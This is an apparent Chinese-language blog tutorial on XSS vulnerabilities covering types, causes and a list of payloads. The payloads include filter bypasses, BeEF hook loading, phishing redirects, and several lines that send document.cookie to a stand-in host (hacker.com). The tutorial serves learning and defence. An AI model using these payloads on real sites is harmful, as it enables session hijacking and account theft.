Web安全领域的探索之xss漏洞原理

178 阅读4分钟

我正在参与掘金创作者训练营第4期,点击了解活动详情,一起学习吧!

xss简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。 XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。 那么什么是XSS呢? XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页 面中去。使别的用户访问都会执行相应的嵌入代码。 从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括: 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其它网站发起攻击

xss原理解析

反射型:

image-20201213165400792

存储型:

xss发生主要原因

XSS主要原因: 过于信任客户端提交的数据!

XSS主要分类:

  • 反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
  • 存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据 库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大, 因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

构造xss脚本

  1. 常用的html标签
<iframe> iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。 
​
<textarea> </textarea> 
标签定义多行的文本输入控件。 
​
<img> img 元素向网页中嵌入一幅图像。 
​
<script> </script>
  • 标签用于定义客户端脚本,比如 JavaScript。
  • script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚本文件。
  • 必需的 type 属性规定脚本的 MIME 类型。
  • JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。
  1. 常用的JavaScript方法
alert           
alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框 
​
window.location     
window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。 
​
location.href 返回当前显示的文档的完整 
​
URL onload 一张页面或一幅图像完成加载 
​
onsubmit 确认按钮被点击 
​
onerror 在加载文档或图像时发生错误
  1. xss脚本
弹框警告 
​
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号', 一旦此脚本能执行,也就意 味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。 
​
<script>alert('xss')</script> 
<script>alert(document.cookie)</script> 
​
页面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe> 
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
​
页面重定向 
<script>window.location="http://www.baidu.com"</script> 
<script>location.href="http://www.baidu.com"</script> 
​
弹框警告并重定向 
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script> <script>alert('xss');location.href="http://www.baidu.com"</script>
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信 息,则可能在另外的站点重新登录账户(克隆网站收集账户) 
​
访问恶意代码 
<script src="http://www.baidu.com/xss.js"></script> 
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie 
​
巧用图片标签 
<img src="#" onerror=alert('xss')> 
<img src="javascript:alert('xss');"> 
<img src="http://BeEF_IP:3000/hook.js"></img> 
​
绕开过滤的脚本 
大小写 
<ScrIpt>alert('xss')</SCRipt> 
​
字符编码 
采用URL、Base64等编码 
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">xss</a> 
​
收集用户cookie 
​
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。 
​
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> <script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> 
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> 
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> 
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; img.height = 0; </script>